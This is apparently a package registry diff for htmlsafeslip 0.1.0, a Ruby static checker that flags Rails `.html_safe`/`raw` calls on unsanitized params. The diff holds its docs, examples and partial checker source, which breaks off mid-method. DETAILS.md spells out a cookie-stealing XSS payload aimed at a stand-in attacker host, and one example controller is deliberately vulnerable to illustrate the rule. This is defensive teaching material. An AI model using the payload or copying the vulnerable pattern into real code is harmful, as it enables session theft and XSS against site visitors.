htmlsafeslip 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: e76342ec60db712f0aebbd48c28d77e63eee2ed5a89544d8501373b90910f834
4
+ data.tar.gz: cfc56e4337296c5a515af03d0e68e73fc86ce6f6be51f99593bce0e4cc088c21
5
+ SHA512:
6
+ metadata.gz: 7d0dde88d147e36f4eefbb3664be0e6cc2875247594221b5a4700d022209879d17b21c89063c7852f9370ab20de55ebbbac147b677883e57cf3fede688032893
7
+ data.tar.gz: 91a012514d6290f4efc48ef4189b8612022cd388023fc964b25e0f1d8a0b627ea606a722825a79340851347adc6e60c592aba29cf9f329002ff2237bf74a5308
data/DETAILS.md ADDED
@@ -0,0 +1,256 @@
1
+ # htmlsafeslip — Design Details
2
+
3
+ ## Why this exists
4
+
5
+ Rails escapes every string interpolated into a view by default — that's
6
+ been true since Rails 3, and it's the single biggest built-in defense
7
+ against Cross-Site Scripting (XSS) the framework has. A `<script>` tag
8
+ typed into a comment box, a bio field, a search box, renders as inert
9
+ text on the page, not as executing markup.
10
+
11
+ Two mechanisms exist specifically to **opt a value out** of that
12
+ protection:
13
+
14
+ - **`String#html_safe`** — marks a string as `ActiveSupport::SafeBuffer`,
15
+ telling Rails "this is already safe HTML, don't escape it."
16
+ - **`raw(...)`** (an ActionView helper) — does the same thing, wrapping a
17
+ value and marking it safe in one call.
18
+
19
+ Both are completely legitimate when used on something a developer
20
+ actually controls and trusts — a hardcoded HTML fragment, a value that's
21
+ already been through `sanitize`/`strip_tags`. Called **directly on
22
+ unsanitized user input**, either one defeats Rails' escaping entirely:
23
+
24
+ ```ruby
25
+ class CommentsController < ApplicationController
26
+ def create
27
+ render html: params[:comment].html_safe # <-- htmlsafeslip flags this
28
+ end
29
+ end
30
+ ```
31
+
32
+ If a visitor submits `<script>fetch('https://evil.example/steal?c='+document.cookie)</script>`
33
+ as their comment, this code renders it back as **live, executing
34
+ JavaScript** in every other visitor's browser the moment the page loads
35
+ — a classic stored XSS. The exact same gap exists for a reflected value
36
+ rendered straight back from a query param.
37
+
38
+ ## Why this keeps getting shipped
39
+
40
+ This isn't an obscure footgun — it's one of the most commonly
41
+ rediscovered Rails mistakes, for a simple reason: the code "just works"
42
+ for every non-malicious input. A normal comment, a normal bio, a normal
43
+ search term all render exactly as the developer expects. Nothing fails a
44
+ manual click-through test. The bug is invisible until someone
45
+ deliberately (or accidentally, via a pasted rich-text fragment with
46
+ stray markup) submits a payload — and by then it's live in production,
47
+ often already stored in the database and rendered to every other user.
48
+
49
+ `.html_safe`/`raw(...)` are also genuinely useful and appear constantly
50
+ in legitimate Rails code — marking a hardcoded partial's output, a value
51
+ that's already been through `sanitize`. That legitimate, idiomatic usage
52
+ is exactly why a plain `grep -r html_safe` across a codebase is
53
+ unworkable as a review tool: it surfaces far more safe uses than unsafe
54
+ ones. The actual question that matters is narrower: **does this specific
55
+ call sit on a value traceable to user input, with nothing sanitizing it
56
+ first?**
57
+
58
+ ## What `htmlsafeslip` checks (v0.1)
59
+
60
+ A `.html_safe` call, or a `raw(...)` call, where the value being marked
61
+ safe is traceable — directly, or via a same-method local-variable
62
+ assignment — to:
63
+
64
+ - `params[...]`, or
65
+ - `params.dig(...)`
66
+
67
+ ...with **no** sanitization call applied to that value first, anywhere
68
+ in the chain:
69
+
70
+ - `sanitize(...)`
71
+ - `ActionController::Base.helpers.sanitize(...)` (the fully-qualified
72
+ form used outside a view/controller context, e.g. a model or service
73
+ object)
74
+ - `strip_tags(...)`
75
+ - `ERB::Util.html_escape(...)` / `h(...)`
76
+
77
+ ```ruby
78
+ # Flagged (HS001): direct, unsanitized
79
+ params[:bio].html_safe
80
+ raw(params[:comment])
81
+
82
+ # Flagged (HS001): same-method local-variable trace
83
+ bio = params[:bio]
84
+ bio.html_safe
85
+
86
+ # Flagged (HS001): params.dig(...) variant
87
+ params.dig(:user, :bio).html_safe
88
+
89
+ # NOT flagged: sanitized first
90
+ sanitize(params[:bio]).html_safe
91
+ strip_tags(params[:bio]).html_safe
92
+ raw(sanitize(params[:x])) # nested sanitize detected
93
+ ActionController::Base.helpers.sanitize(params[:body]).html_safe
94
+ ERB::Util.html_escape(params[:comment]).html_safe
95
+
96
+ # NOT flagged: no traceable connection to params
97
+ "<b>Static trusted HTML</b>".html_safe # hardcoded literal
98
+ raw("<hr>") # hardcoded literal
99
+ @user.bio.html_safe # DB/model attribute -- see limitation below
100
+
101
+ # NOT flagged, out of scope entirely: h(...) is the escaping helper, not
102
+ # html_safe/raw at all -- it's the SAFE pattern, so it's never matched.
103
+ h(params[:name])
104
+ ```
105
+
106
+ ## How it parses (Ripper for structure, regex only inside a located boundary)
107
+
108
+ Same technique this workspace's `columnskip`/`paramspoof`/`argfreeze`
109
+ packages use: structural boundaries (never text/`do`/`end` counting) come
110
+ from `Ripper.sexp`; a narrower regex only runs over the text of a
111
+ boundary already located structurally.
112
+
113
+ 1. Every `def`/`def self.` method node in the file is walked.
114
+ 2. Within each method body's source text (line-span located
115
+ structurally): every `var = params[...]`/`params.dig(...)`
116
+ assignment is collected into a `{var_name => sanitized?}` map, where
117
+ `sanitized?` is `true` if the assignment itself was wrapped in
118
+ `sanitize`/`strip_tags`/`ActionController::Base.helpers.sanitize`/
119
+ `ERB::Util.html_escape`/`h` (e.g. `bio = sanitize(params[:bio])`), and
120
+ `false` for a direct, unsanitized assignment (e.g. `bio =
121
+ params[:bio]`). A later reassignment in the same method overrides an
122
+ earlier one.
123
+ 3. Every `.html_safe` call site, and every `raw(...)` call site, is
124
+ matched, capturing the receiver/argument expression immediately
125
+ before `.html_safe` or inside `raw(...)`'s parentheses.
126
+ 4. That expression is classified:
127
+ - **sanitized** — it's itself a `sanitize`/`strip_tags`/
128
+ `ActionController::Base.helpers.sanitize`/`ERB::Util.html_escape`/
129
+ `h` call (regardless of what's inside it) → not flagged.
130
+ - **traced, unsanitized** — it's a direct `params[...]`/
131
+ `params.dig(...)` read, or a bare local variable present in the
132
+ method's param-variable map with `sanitized? == false` → **flagged
133
+ (HS001)**.
134
+ - **not traced** — a string literal, an instance variable/dotted
135
+ attribute chain (`@user.bio`), or any other shape → not flagged.
136
+
137
+ ## Explicitly out of scope / known limitations (v0.1)
138
+
139
+ - **Same-method scope only, no cross-method/cross-file data flow.** A
140
+ variable assigned from `params` in one method and referenced (even
141
+ under the identical name) in a *different* method is not traced — this
142
+ mirrors the same "resolved boundary, not full data flow" trade-off
143
+ `columnskip`/`paramspoof`/`jobclash` document for their own checks. See
144
+ `different_method_scope_clean.rb` in the spec fixtures.
145
+ - **Database/model-attribute values are not traced, even when the
146
+ underlying column ultimately originated from a `params` value written
147
+ in a different method or an entirely different request.** `@user.bio`
148
+ is a dotted attribute-access chain with no traceable connection to
149
+ `params` *in this method* — a genuinely harder, cross-request
150
+ stored-XSS problem (did whatever write `@user.bio` to the database, at
151
+ some point in the past, in some other controller action, sanitize it
152
+ first?) that a same-method-tracing static tool cannot answer. This is
153
+ an honest, deliberate scope limitation, not an oversight — the same
154
+ "resolved boundary, not full history" trade-off this portfolio's other
155
+ Ruby tools commit to for their own tracing. See
156
+ `db_attribute_html_safe_clean.rb` in the spec fixtures.
157
+ - **Assignment-shape heuristic, not full expression evaluation.** A
158
+ variable is only recognized as params-derived when it's *directly*
159
+ assigned from `params[...]`/`params.dig(...)` (optionally wrapped in a
160
+ recognized sanitize call). `bio = fetch_bio_somehow(params[:id])` is
161
+ never traced — the tool has no way to know what an arbitrary method
162
+ call returns.
163
+ - A real, acknowledged consequence: a variable reassigned through an
164
+ *unrecognized* transformation in between (`bio = params[:bio];
165
+ bio = some_custom_filter(bio)`) is no longer traced at all, even
166
+ though the original read was unsanitized params input and the custom
167
+ filter might do nothing to neutralize HTML. htmlsafeslip has no way
168
+ to know what `some_custom_filter` does — this is the same
169
+ conservative trade-off `paramspoof`'s allowlist-guard detection
170
+ makes for its own tracing.
171
+ - **No chained-method tolerance on the traced receiver.** `params[:bio]
172
+ .to_s.html_safe` is not recognized as traced (only a bare
173
+ `params[...]`/`params.dig(...)`/a tracked local variable is matched
174
+ immediately before `.html_safe`, or as `raw(...)`'s entire argument) —
175
+ a real, narrower-than-ideal gap, documented rather than silently
176
+ accepted.
177
+ - **No autofix, no runtime enforcement.** `htmlsafeslip` only reports; it
178
+ never rewrites `.html_safe`/`raw(...)` calls, and never runs inside the
179
+ actual render path.
180
+
181
+ ## Prior art (checked before building, 2026-10) — honest disclosure
182
+
183
+ **Brakeman — the standard, most widely used static security scanner for
184
+ Rails — already has a long-standing, built-in check for exactly this
185
+ pattern class.** Brakeman's `CheckCrossSiteScripting` check (one of its
186
+ oldest and most mature checks, present since early Brakeman releases) is
187
+ specifically built to trace tainted (user/request-derived) data flowing
188
+ into an unescaped-output sink, including `html_safe`/`raw` call sites.
189
+ This is a real, meaningful, direct overlap — not a different, uncovered
190
+ gap — and anyone running Brakeman against a full Rails app already gets
191
+ warned on patterns in this exact family.
192
+
193
+ What htmlsafeslip does differently, for a reader deciding whether it
194
+ adds anything beyond Brakeman:
195
+
196
+ - **Zero Rails-app-boot/project-structure requirement.** Brakeman is
197
+ built to analyze a **whole, recognizable Rails application** — it
198
+ expects (and in practice needs) a real app directory tree
199
+ (`config/routes.rb`, `app/`, a parseable `Gemfile`, etc.) to build its
200
+ internal model and run its full taint-tracking pipeline across
201
+ controllers, views, and models together; it is not designed to be
202
+ pointed at an arbitrary single `.rb` file or snippet outside that
203
+ structure. `htmlsafeslip` is a pure Ripper-based static check with
204
+ **zero Rails/Brakeman dependency** — runnable against any `.rb` file
205
+ or directory, inside or outside a Rails app, with no app-boot step and
206
+ no project-structure requirement at all.
207
+ - **A narrower, same-method-scope trace, not full cross-file taint
208
+ analysis.** Brakeman's actual strength here is exactly what
209
+ htmlsafeslip explicitly does *not* attempt: tracking a tainted value
210
+ across method calls, through instance variables set in one action and
211
+ read in a view, and even (with caveats) through a database round-trip.
212
+ htmlsafeslip's rule is deliberately narrower — same-method only, as
213
+ documented above — in exchange for needing nothing but the file itself
214
+ to run.
215
+ - **A longer, educational message per finding**, naming the concrete
216
+ failure mode (a `<script>` payload executing live, the instant it
217
+ renders) rather than Brakeman's confidence-scored warning line — aimed
218
+ at a developer who hasn't hit the bug yet.
219
+
220
+ **Conclusion, stated plainly: this package's core rule meaningfully
221
+ duplicates existing, well-known Brakeman coverage for the subset of
222
+ cases Brakeman is actually run against (a full, bootable Rails app).**
223
+ It's documented here in full rather than glossed over — the
224
+ differentiator that matters in practice is "no Rails-app-boot
225
+ requirement, usable on a single file or a non-standard project layout,"
226
+ not "catches something Brakeman fundamentally can't."
227
+
228
+ ## Package layout
229
+
230
+ ```
231
+ htmlsafeslip/
232
+ lib/htmlsafeslip.rb # top-level require, Htmlsafeslip.check entry point
233
+ lib/htmlsafeslip/ # finding, checker, cli, render, version
234
+ exe/htmlsafeslip # CLI executable
235
+ spec/ # RSpec suite + fixture .rb files
236
+ examples/ # one controller that trips the rule, one clean fix
237
+ docs/USAGE.md # full API/CLI reference
238
+ ```
239
+
240
+ ## Testing
241
+
242
+ Fixture-based, zero network/Rails dependency: RSpec covering direct
243
+ `params[:bio].html_safe` and `raw(params[:comment])` (both flagged), a
244
+ same-method local-variable trace, the `params.dig(...)` variant, multiple
245
+ `.html_safe`/`raw` calls in one method with only the unsanitized one
246
+ flagged, `sanitize(...)`/`strip_tags(...)`/
247
+ `ActionController::Base.helpers.sanitize(...)`/`ERB::Util.html_escape(...)`
248
+ applied first (all clean), a hardcoded string literal on both
249
+ `.html_safe` and `raw(...)` (clean), `h(...)` as an out-of-scope escaping
250
+ helper (clean, never matched at all), a nested `sanitize(...)` inside
251
+ `raw(...)`'s argument (clean), a database/model-attribute value with no
252
+ same-method params trace (clean, documented limitation), same-method-
253
+ scope-only tracing (a same-named variable in a different method isn't
254
+ traced), and a file that fails to parse (returns no findings rather than
255
+ raising). The CLI is exercised end-to-end against fixture files, checking
256
+ text and `--json` output and all exit codes.
data/Gemfile ADDED
@@ -0,0 +1,3 @@
1
+ source "https://rubygems.org"
2
+
3
+ gemspec
data/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 Jay Tank
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
data/README.md ADDED
@@ -0,0 +1,115 @@
1
+ # htmlsafeslip
2
+
3
+ [![Gem Version](https://img.shields.io/gem/v/htmlsafeslip.svg)](https://rubygems.org/gems/htmlsafeslip)
4
+ [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](LICENSE)
5
+
6
+ Flags a `.html_safe` call, or a `raw(...)` call, applied to a value
7
+ traceable — directly, or via a same-method local variable — to
8
+ `params[...]`/`params.dig(...)`, with **no sanitization call applied to
9
+ it first**.
10
+
11
+ Both `.html_safe` and `raw(...)` tell Rails' view layer "this string is
12
+ already safe HTML, don't auto-escape it." Rails' default auto-escaping
13
+ (on by default since Rails 3) is the single biggest built-in XSS defense
14
+ the framework has — calling either directly on unsanitized,
15
+ user-controlled input defeats it entirely, turning a `<script>...</script>`
16
+ payload typed into a comment, bio, or URL param into live, executing
17
+ HTML the instant it's rendered. See [DETAILS.md](DETAILS.md) for the
18
+ exact failure mode.
19
+
20
+ > **Honest prior-art note:** Brakeman — the standard, widely used Rails
21
+ > security scanner — already has a mature, built-in check
22
+ > (`CheckCrossSiteScripting`) for exactly this pattern class. This is a
23
+ > real, meaningful overlap, not a different, uncovered gap. See
24
+ > [DETAILS.md](DETAILS.md#prior-art-checked-before-building-2026-10----honest-disclosure)
25
+ > for the full, honest comparison — in short, Brakeman requires a full,
26
+ > bootable Rails application to run against; `htmlsafeslip` is a
27
+ > standalone, zero-Rails/Brakeman-dependency Ripper check that runs
28
+ > against any `.rb` file or directory, with no app-boot step.
29
+
30
+ ## Quick start
31
+
32
+ ```bash
33
+ gem install htmlsafeslip
34
+ htmlsafeslip check app/controllers app/views app/helpers
35
+ ```
36
+
37
+ ```
38
+ htmlsafeslip: 1 finding(s)
39
+ [HS001] app/controllers/comments_controller.rb:4 params[:comment].html_safe -- CommentsController#create: params[:comment].html_safe marks a value traceable to `params[:comment]' in #create as already-safe HTML, with no sanitize(...)/strip_tags(...)/h(...)/ERB::Util.html_escape(...) call applied to it first -- this defeats Rails' default auto-escaping entirely, so a <script>...</script> (or any other HTML) payload in this value executes live, the instant it's rendered. Run it through sanitize(...) or strip_tags(...) before marking it safe, or drop .html_safe and let Rails auto-escape it. See DETAILS.md.
40
+ ```
41
+
42
+ Exits `1` if any finding, `0` otherwise — wire it into CI as a pre-merge
43
+ gate on `app/controllers/`, `app/views/`, and `app/helpers/`.
44
+
45
+ ## As a library
46
+
47
+ ```ruby
48
+ require "htmlsafeslip"
49
+
50
+ findings = Htmlsafeslip.check(paths: Dir.glob("app/**/*.rb"))
51
+ findings.each { |f| puts "[#{f.code}] #{f.kind} on #{f.receiver} (#{f.file}:#{f.line})" }
52
+ ```
53
+
54
+ ## What it checks (v0.1)
55
+
56
+ A `.html_safe` call, or a `raw(...)` call, on a value that is:
57
+
58
+ 1. a **direct** `params[...]`/`params.dig(...)` read, or
59
+ 2. a **bare local variable** assigned from one of those earlier in the
60
+ *same method* (traced anywhere later in the same method body),
61
+
62
+ ...with **no** sanitization call (`sanitize(...)`,
63
+ `ActionController::Base.helpers.sanitize(...)`, `strip_tags(...)`,
64
+ `ERB::Util.html_escape(...)`/`h(...)`) applied to that value first,
65
+ anywhere in the chain — including nested inside `raw(...)`'s own
66
+ argument (`raw(sanitize(params[:x]))` is correctly recognized as safe).
67
+
68
+ ```ruby
69
+ params[:bio].html_safe # flagged
70
+ raw(params[:comment]) # flagged
71
+ bio = params[:bio]; bio.html_safe # flagged (same-method trace)
72
+ params.dig(:user, :bio).html_safe # flagged
73
+
74
+ sanitize(params[:bio]).html_safe # not flagged -- sanitized first
75
+ strip_tags(params[:bio]).html_safe # not flagged -- sanitized first
76
+ raw(sanitize(params[:x])) # not flagged -- nested sanitize
77
+ "<b>Static trusted HTML</b>".html_safe # not flagged -- hardcoded literal
78
+ raw("<hr>") # not flagged -- hardcoded literal
79
+ h(params[:name]) # not flagged -- out of scope, the safe pattern
80
+ @user.bio.html_safe # not flagged -- DB attribute, see limitation
81
+ ```
82
+
83
+ **Not flagged / explicitly out of scope** (see
84
+ [DETAILS.md](DETAILS.md#explicitly-out-of-scope--known-limitations-v01)
85
+ for the full, honest list):
86
+
87
+ - A database/model-attribute value with no traceable connection to
88
+ `params` in the *same method* — a real, documented scope limitation,
89
+ not a guarantee the value is actually safe (it may have originated
90
+ from an unsanitized `params` value written in a different
91
+ method/request entirely).
92
+ - A hardcoded string literal — the common, legitimate Rails idiom for
93
+ marking genuinely-static trusted HTML as safe.
94
+ - `h(...)`/`ERB::Util.html_escape(...)` calls themselves — these *are*
95
+ the safe escaping pattern, so they're never matched as findings at all
96
+ (only recognized as a sanitizer when they wrap a traced value before
97
+ `.html_safe`/`raw(...)`).
98
+ - Same-method scope only — a variable assigned from `params` in one
99
+ method isn't traced into a different method, even under the identical
100
+ variable name.
101
+
102
+ Class/method boundaries are found by parsing with Ruby's own `Ripper`,
103
+ not regex over raw source — see [DETAILS.md](DETAILS.md) for exactly
104
+ how, and its honest limits.
105
+
106
+ ## Requirements
107
+
108
+ Developed and tested against Ruby 3.0.2, matching this workspace's other
109
+ Ruby packages. No known incompatibility with newer 3.x versions. No
110
+ Rails or ActionView installation is required to run htmlsafeslip — it's
111
+ a pure static-source check.
112
+
113
+ ## License
114
+
115
+ MIT
data/docs/USAGE.md ADDED
@@ -0,0 +1,84 @@
1
+ # htmlsafeslip — Usage
2
+
3
+ ## Library API
4
+
5
+ ```ruby
6
+ require "htmlsafeslip"
7
+
8
+ findings = Htmlsafeslip.check(paths: paths)
9
+ ```
10
+
11
+ `paths` — an array of paths to `.rb` files (the CLI expands directories
12
+ for you; the library API expects an already-expanded file list, so use
13
+ `Dir.glob("app/**/*.rb")` or similar).
14
+
15
+ ### Return value
16
+
17
+ An `Array<Htmlsafeslip::Finding>`. Each `Finding` has:
18
+
19
+ - `code` — always `"HS001"` (one rule: an unsanitized, params-traceable
20
+ value marked safe for raw HTML rendering)
21
+ - `klass` — the enclosing class name the call site was found in (nil if
22
+ the call site sits outside any class)
23
+ - `method` — the enclosing method name, e.g. `"create"`
24
+ - `kind` — which unescaping mechanism was used: `"html_safe"` or `"raw"`
25
+ - `receiver` — the receiver/argument text that was marked safe, e.g.
26
+ `"params[:bio]"`, `"bio"`, or `"params.dig(:user, :bio)"`
27
+ - `file` — path to the source file
28
+ - `line` — line number of the offending call
29
+ - `message` — human-readable description with the fix
30
+ - `#to_h` — plain hash of the above eight keys
31
+
32
+ ## CLI
33
+
34
+ ```bash
35
+ htmlsafeslip check <path> [<path> ...] [--json]
36
+ ```
37
+
38
+ Each `<path>` is a `.rb` file or a directory (directories are recursively
39
+ expanded to every `**/*.rb` file inside them). At least one path is
40
+ required.
41
+
42
+ ### Exit codes
43
+
44
+ - `0` — no findings
45
+ - `1` — one or more findings
46
+ - `2` — usage error (no paths, unknown command, bad flag)
47
+
48
+ ### Example
49
+
50
+ ```bash
51
+ $ htmlsafeslip check app/controllers/comments_controller.rb
52
+
53
+ htmlsafeslip: 1 finding(s)
54
+ [HS001] app/controllers/comments_controller.rb:4 params[:comment].html_safe -- CommentsController#create: params[:comment].html_safe marks a value traceable to `params[:comment]' in #create as already-safe HTML, with no sanitize(...)/strip_tags(...)/h(...)/ERB::Util.html_escape(...) call applied to it first -- this defeats Rails' default auto-escaping entirely, so a <script>...</script> (or any other HTML) payload in this value executes live, the instant it's rendered. Run it through sanitize(...) or strip_tags(...) before marking it safe, or drop .html_safe and let Rails auto-escape it. See DETAILS.md.
55
+ ```
56
+
57
+ ### `--json`
58
+
59
+ ```bash
60
+ $ htmlsafeslip check app/controllers/comments_controller.rb --json
61
+ {"findings":[{"code":"HS001","klass":"CommentsController","method":"create","kind":"html_safe","receiver":"params[:comment]","file":"app/controllers/comments_controller.rb","line":4,"message":"..."}]}
62
+ ```
63
+
64
+ ## What triggers a finding
65
+
66
+ A `.html_safe` call, or a `raw(...)` call, on a value that is:
67
+
68
+ 1. a direct `params[...]`/`params.dig(...)` read, or
69
+ 2. a bare local variable assigned from one of those earlier in the
70
+ *same method*,
71
+
72
+ ...with no `sanitize(...)`/`ActionController::Base.helpers.sanitize(...)`/
73
+ `strip_tags(...)`/`ERB::Util.html_escape(...)`/`h(...)` call applied to
74
+ that value first.
75
+
76
+ Not flagged: a hardcoded string literal, a value already passed through
77
+ one of the sanitization calls above (including nested inside `raw(...)`'s
78
+ own argument), `h(...)`/`ERB::Util.html_escape(...)` used by themselves
79
+ (the safe pattern, out of scope entirely since no `.html_safe`/`raw(...)`
80
+ is involved), a database/model-attribute value with no same-method
81
+ `params` trace, and a variable traced only in a different method. See
82
+ [DETAILS.md](../DETAILS.md) for the exact failure mode this rule
83
+ targets, the honest prior-art comparison against Brakeman's
84
+ `CheckCrossSiteScripting` check, and this heuristic's documented limits.
@@ -0,0 +1,31 @@
1
+ # htmlsafeslip flags both calls below: `.html_safe` and `raw(...)` tell
2
+ # Rails' view layer "this string is already safe HTML, don't auto-escape
3
+ # it" -- applied directly to a user-controlled params value with no
4
+ # sanitization first, any <script>...</script> (or other HTML) payload a
5
+ # visitor submits in a comment or bio field executes live, in every other
6
+ # visitor's browser, the instant the page renders.
7
+ class CommentsController < ApplicationController
8
+ def create
9
+ @comment = Comment.new(comment_params)
10
+ @comment.save!
11
+
12
+ # The submitted comment body is rendered back unsanitized and
13
+ # unescaped -- a stored/reflected XSS payload executes for anyone who
14
+ # views this response.
15
+ render html: params[:comment].html_safe
16
+ end
17
+
18
+ def show
19
+ bio = params.dig(:user, :bio)
20
+
21
+ # raw(...) is exactly as dangerous as .html_safe here -- same missing
22
+ # sanitization, same traced params value.
23
+ render html: raw(bio)
24
+ end
25
+
26
+ private
27
+
28
+ def comment_params
29
+ params.require(:comment).permit(:body)
30
+ end
31
+ end
@@ -0,0 +1,24 @@
1
+ # Clean: the documented, correct pattern. sanitize(...) strips disallowed
2
+ # tags/attributes BEFORE the value is marked safe for raw HTML rendering --
3
+ # a <script>...</script> payload never reaches the browser as executable
4
+ # markup.
5
+ class CommentsController < ApplicationController
6
+ def create
7
+ @comment = Comment.new(comment_params)
8
+ @comment.save!
9
+
10
+ render html: sanitize(params[:comment]).html_safe
11
+ end
12
+
13
+ def show
14
+ bio = params.dig(:user, :bio)
15
+
16
+ render html: raw(sanitize(bio))
17
+ end
18
+
19
+ private
20
+
21
+ def comment_params
22
+ params.require(:comment).permit(:body)
23
+ end
24
+ end
data/exe/htmlsafeslip ADDED
@@ -0,0 +1,7 @@
1
+ #!/usr/bin/env ruby
2
+ # frozen_string_literal: true
3
+
4
+ require "htmlsafeslip"
5
+ require "htmlsafeslip/cli"
6
+
7
+ exit Htmlsafeslip::CLI.run(ARGV)
@@ -0,0 +1,38 @@
1
+ require_relative "lib/htmlsafeslip/version"
2
+
3
+ Gem::Specification.new do |spec|
4
+ spec.name = "htmlsafeslip"
5
+ spec.version = Htmlsafeslip::VERSION
6
+ spec.authors = ["Jay"]
7
+ spec.summary = "Flags .html_safe/raw(...) calls on a value traceable to params[...] with no sanitization applied first."
8
+ spec.description = <<~DESC
9
+ htmlsafeslip parses Ruby source with Ripper to find a call to
10
+ `.html_safe` directly on an expression, or a `raw(...)` wrapping one,
11
+ where that expression is traceable (directly, or via a same-method
12
+ local-variable assignment) to `params[...]`/`params.dig(...)`, with no
13
+ `sanitize(...)`/`strip_tags(...)`/`h(...)`/`ERB::Util.html_escape(...)`
14
+ call applied to it first. Both `.html_safe` and `raw(...)` tell Rails'
15
+ view layer "this string is already safe HTML, don't auto-escape it" --
16
+ calling either directly on unsanitized, user-controlled input defeats
17
+ Rails' single biggest built-in XSS defense, turning a reflected or
18
+ stored script-tag payload into live, executing HTML the instant it's
19
+ rendered.
20
+ DESC
21
+ spec.homepage = "https://github.com/jay-tank/htmlsafeslip"
22
+ spec.license = "MIT"
23
+ spec.required_ruby_version = ">= 3.0.0"
24
+
25
+ spec.metadata["homepage_uri"] = spec.homepage
26
+ spec.metadata["source_code_uri"] = spec.homepage
27
+
28
+ spec.files = Dir.chdir(File.expand_path(__dir__)) do
29
+ `git ls-files -z`.split("\x0").reject do |f|
30
+ f.match(%r{\A(?:test|spec|features)/}) || f.match(%r{\A\.github/})
31
+ end
32
+ end
33
+ spec.bindir = "exe"
34
+ spec.executables = spec.files.grep(%r{\Aexe/}) { |f| File.basename(f) }
35
+ spec.require_paths = ["lib"]
36
+
37
+ spec.add_development_dependency "rspec", "~> 3.13"
38
+ end
@@ -0,0 +1,268 @@
1
+ require "ripper"
2
+
3
+ module Htmlsafeslip
4
+ # Parses Ruby source with Ripper (structure only -- method boundaries are
5
+ # found by walking the s-expression, never by regex over raw source; a
6
+ # second, narrower regex pass runs only over the text of a boundary
7
+ # already located structurally, the same technique this workspace's
8
+ # argfreeze/columnskip/paramspoof packages use) looking for:
9
+ #
10
+ # 1. `.html_safe` called directly on an expression traceable (directly,
11
+ # or via a same-method local-variable assignment) to
12
+ # `params[...]`/`params.dig(...)`, or
13
+ # 2. `raw(...)` wrapping such a traceable expression,
14
+ #
15
+ # ...with no sanitization call (`sanitize(...)`,
16
+ # `ActionController::Base.helpers.sanitize(...)`, `strip_tags(...)`,
17
+ # `ERB::Util.html_escape(...)`/`h(...)`) applied to that value first.
18
+ #
19
+ # Both `.html_safe` and `raw(...)` tell Rails' view layer "this string is
20
+ # already-safe HTML, skip auto-escaping it" -- calling either directly on
21
+ # unsanitized, user-controlled input defeats Rails' default
22
+ # auto-escaping (its single biggest built-in XSS defense) and turns a
23
+ # reflected/stored XSS payload into live, executing HTML.
24
+ #
25
+ # HS001 - `.html_safe`/`raw(...)` on a value traceable to
26
+ # `params[...]`/`params.dig(...)` (same method), with no
27
+ # `sanitize`/`strip_tags`/`h`/`ERB::Util.html_escape` applied to
28
+ # that same value first.
29
+ class Checker
30
+ BALANCED_ARGS = '(?:[^()]|\([^()]*\))*'
31
+
32
+ # Names of methods/call-prefixes that sanitize a value before it's
33
+ # marked safe -- wrapping the traced value in any of these clears it.
34
+ SANITIZE_PREFIX = 'ActionController::Base\.helpers\.sanitize|sanitize|strip_tags|ERB::Util\.html_escape|h'
35
+
36
+ # One "atom" that can sit as the receiver of `.html_safe` or as the
37
+ # (stripped) argument of `raw(...)`:
38
+ # - a sanitize-shaped call, e.g. `sanitize(params[:bio])`
39
+ # - `params.dig(...)`
40
+ # - `params[...]`
41
+ # - a double- or single-quoted string literal (hardcoded, never
42
+ # traceable to params)
43
+ # - a bare local variable / ivar / dotted attribute chain, e.g.
44
+ # `bio`, `@user.bio`
45
+ RECEIVER_ATOM =
46
+ "(?:(?:#{SANITIZE_PREFIX})\\s*\\(#{BALANCED_ARGS}\\)" \
47
+ "|params\\s*\\.\\s*dig\\s*\\(#{BALANCED_ARGS}\\)" \
48
+ "|params\\s*\\[[^\\]\\n]*\\]" \
49
+ '|"(?:[^"\\\\]|\\\\.)*"' \
50
+ "|'(?:[^'\\\\]|\\\\.)*'" \
51
+ '|@?[a-zA-Z_]\w*(?:\s*\.\s*[a-zA-Z_]\w*)*' \
52
+ ")"
53
+
54
+ HTML_SAFE_CALL = /(#{RECEIVER_ATOM})\s*\.\s*html_safe\b/.freeze
55
+
56
+ RAW_CALL = /\braw\s*\(((?:[^()]|\([^()]*\))*)\)/.freeze
57
+
58
+ # A local variable assigned (same method) from either a direct
59
+ # `params[...]`/`params.dig(...)` read (unsanitized), or from a
60
+ # sanitize-shaped call (sanitized) -- scanned in textual order so a
61
+ # later reassignment overrides an earlier one.
62
+ ASSIGN_RE =
63
+ /\b([a-z_]\w*)\s*=\s*((?:#{SANITIZE_PREFIX})\s*\(#{BALANCED_ARGS}\)|params\s*\.\s*dig\s*\(#{BALANCED_ARGS}\)|params\s*\[[^\]\n]*\])/.freeze
64
+
65
+ SANITIZED_SHAPE = /\A(?:#{SANITIZE_PREFIX})\s*\(/.freeze
66
+ PARAMS_SHAPE = /\Aparams\s*(?:\[|\.\s*dig\s*\()/.freeze
67
+ STRING_LITERAL_SHAPE = /\A["']/.freeze
68
+ BARE_IDENT_SHAPE = /\A@?[a-zA-Z_]\w*\z/.freeze
69
+
70
+ def initialize(paths:)
71
+ @paths = paths
72
+ end
73
+
74
+ def call
75
